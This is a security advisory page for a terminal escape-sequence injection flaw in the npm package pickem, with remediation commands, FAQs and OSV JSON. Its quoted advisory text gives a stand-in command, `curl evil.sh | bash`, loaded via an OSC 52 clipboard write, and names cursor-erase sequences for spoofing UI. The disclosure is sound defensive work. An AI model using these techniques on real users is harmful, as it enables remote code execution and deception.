GHSA-8qx3-8gm5-9cj2: Pickem Pickem Vulnerable To Terminal Escape-sequence Vulnerability

HIGH
CWE-150
Published
Advisory Summary

GHSA-8qx3-8gm5-9cj2 is a HIGH pickem vulnerable to terminal escape-sequence vulnerability (CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences) affecting Pickem libraries in the npm ecosystem. The issue involves pickem vulnerable to terminal escape-sequence injection via unsanitized item text. Remediation is available by upgrading affected packages to version 1.0.7.

GHSA-8qx3-8gm5-9cj2 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8qx3-8gm5-9cj2
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
Affected Product Pickem
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-8qx3-8gm5-9cj2

To remediate this vulnerability, upgrade all affected Pickem dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pickem fixed: 1.0.7
npm install pickem@1.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls pickem

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-8qx3-8gm5-9cj2, inspect your project dependencies using npm:

npm ls pickem

Analyze the terminal output to locate any version of Pickem in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.7), your application is affected.

Note: The npm ls pickem command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences, where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component. In Pickem, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway. Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive: - **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE. - **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - **BEL / C0 control flooding.** Any CLI that passes untrusted strings into pickem choices is affected. ### Patches Fixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged. ### Workarounds Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

GHSA-8qx3-8gm5-9cj2 Affected Pickem Versions

1 component(s)
Fixed Versions:
1.0.7
Product / Package Ecosystem Affected Versions Fixed Version
pickem
npm
< 1.0.7
1.0.7

References

Frequently Asked Questions

What is GHSA-8qx3-8gm5-9cj2?
GHSA-8qx3-8gm5-9cj2 is a security vulnerability in Pickem involving pickem vulnerable to terminal escape-sequence injection via unsanitized item text under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.
Which Pickem versions are affected?
Affected versions include releases prior to 1.0.7 across affected packages: pickem.
What version fixes GHSA-8qx3-8gm5-9cj2?
Upgrading to 1.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pickem affected?
Yes, pickem is affected in releases prior to 1.0.7. Upgrade your dependency to 1.0.7 or later.
What CWE is associated with GHSA-8qx3-8gm5-9cj2?
GHSA-8qx3-8gm5-9cj2 is classified under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.).
How can I check npm dependencies for GHSA-8qx3-8gm5-9cj2?
Run the dependency tree command: 'npm ls pickem'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8qx3-8gm5-9cj2",
  "modified" : "2026-08-25T15:59:11Z",
  "published" : "2026-08-25T15:59:11Z",
  "aliases" : [ ],
  "summary" : "pickem vulnerable to terminal escape-sequence injection via unsanitized item text",
  "details" : "### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a \"✓ Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pickem"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/calebogden/pickem-oss"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-150" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T15:59:11Z",
    "nvd_published_at" : null
  }
}